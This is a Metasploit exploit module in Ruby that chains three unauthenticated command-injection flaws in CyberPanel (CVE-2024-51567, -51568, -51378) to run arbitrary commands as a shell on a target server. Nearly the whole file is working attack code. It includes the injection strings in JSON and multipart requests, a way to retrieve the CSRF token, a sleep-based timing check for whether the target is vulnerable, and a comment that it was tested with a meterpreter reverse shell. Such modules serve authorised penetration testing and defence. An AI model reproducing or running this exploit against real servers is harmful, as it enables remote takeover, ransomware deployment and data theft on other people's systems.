##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Module::HasActions
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CyberPanel Multi CVE Pre-auth RCE',
        'Description' => %q{
          This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel:

          - CVE-2024-51567: Command injection vulnerability in the "upgrademysqlstatus" endpoint.
          - CVE-2024-51568: Command Injection via the "completePath" parameter in the "outputExecutioner" sink.
          - CVE-2024-51378: Unauthenticated RCE in "/ftp/getresetstatus" and "/dns/getresetstatus".

          These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks.
        },
        'Author' => [
          'DreyAnd',               # Vulnerability discovery (CVE-2024-51567-8)
          'Valentin Lobstein',     # Metasploit Module
          'Luka Petrovic (refr4g)' # Vulnerability discovery (CVE-2024-51378)
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-51567'],
          ['CVE', '2024-51568'],
          ['CVE', '2024-51378'],
          ['EDB', '52172'],
          ['URL', 'https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce'],
          ['URL', 'https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/'],
          ['URL', 'https://github.com/DreyAnd/CyberPanel-RCE'],
          ['URL', 'https://github.com/refr4g/CVE-2024-51378'],
          ['URL', 'https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/'],
          ['URL', 'https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882']
        ],
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultOptions' => {
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2024-10-27',
        'Actions' => [
          ['CVE-2024-51567', { 'Description' => 'Exploit using CVE-2024-51567' }],
          ['CVE-2024-51568', { 'Description' => 'Exploit using CVE-2024-51568' }],
          ['CVE-2024-51378', { 'Description' => 'Exploit using CVE-2024-51378' }]
        ],
        'DefaultAction' => 'CVE-2024-51567',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8090)
    ])
  end

  def detect_cyberpanel
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return false unless res

    html = res.get_html_document

    paths = [
      html.at('link[href="/static/baseTemplate/assets/finalLoginPageCSS/allCss.css"]')&.[]('href'),
      html.at('img[src="/static/baseTemplate/cyber-panel-logo.svg"]')&.[]('src')
    ]

    return false unless paths.all?

    paths.all? do |path|
      response = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, path)
      })
      response&.code == 200
    end
  end

  def check
    return CheckCode::Safe('Target does not appear to be CyberPanel.') unless detect_cyberpanel

    if test_vulnerability(action.name.downcase)
      CheckCode::Vulnerable('Target is running CyberPanel and is vulnerable.')
    else
      CheckCode::Safe('Target is running CyberPanel but does not appear to be vulnerable.')
    end
  end

  def exploit
    execute_payload(action.name.downcase, payload.encoded)
  end

  def execute_payload(action, injected_payload)
    endpoint = nil
    method = nil
    payload_data = nil
    headers = {}
    ctype = nil

    case action
    when 'cve-2024-51567'
      endpoint = 'dataBases/upgrademysqlstatus'
      method = 'OPTIONS'
      payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload

    when 'cve-2024-51568'
      endpoint = 'filemanager/upload'
      method = 'POST'

      csrf_token = get_csrf_token

      post_data = Rex::MIME::Message.new
      random_domain = Rex::Text.rand_text_alphanumeric(8)
      random_complete_path = "/dev/null;#{injected_payload} #"
      random_filename = "#{Rex::Text.rand_text_alphanumeric(6)}.txt"
      random_content = Rex::Text.rand_text_alphanumeric(4)

      post_data.add_part(random_domain, nil, nil, 'form-data; name="domainName"')
      post_data.add_part(random_complete_path, nil, nil, 'form-data; name="completePath"')
      post_data.add_part(random_content, 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{random_filename}\"")
      payload_data = post_data.to_s

      headers['X-CSRFToken'] = csrf_token
      headers['Referer'] = "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}"
      headers['Cookie'] = "csrftoken=#{csrf_token}"
      ctype = "multipart/form-data; boundary=#{post_data.bound}"

    when 'cve-2024-51378'
      endpoint = "#{['ftp', 'dns'].sample}/getresetstatus"
      method = 'OPTIONS'
      payload_data = '{"statusfile": "/dev/null; %s #"}' % injected_payload

    else
      fail_with(Failure::BadConfig, 'Invalid action selected')
    end

    send_request_cgi({
      'method' => method,
      'uri' => normalize_uri(target_uri.path, endpoint),
      'data' => payload_data,
      'ctype' => ctype,
      'headers' => headers
    })
  end

  def test_vulnerability(action)
    sleep_times = [rand(2..5), rand(2..5)].uniq.sort

    test_payloads = sleep_times.map { |t| "sleep #{t}" }
    confirmed_payloads = []

    test_payloads.each do |test_payload|
      start_time = Time.now

      res = execute_payload(action, test_payload)

      next unless res

      elapsed_time = Time.now - start_time

      match = test_payload.match(/sleep (\d+)/)
      confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i
    end

    (confirmed_payloads & test_payloads).size == test_payloads.size
  end

  def get_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    csrf_token = res&.get_cookies&.match(/csrftoken=(\w+)/)&.captures&.first
    fail_with(Failure::NotFound, 'Unable to retrieve CSRF token.') unless csrf_token
    vprint_status("CSRF Token retrieved: #{csrf_token}")
    csrf_token
  end
end
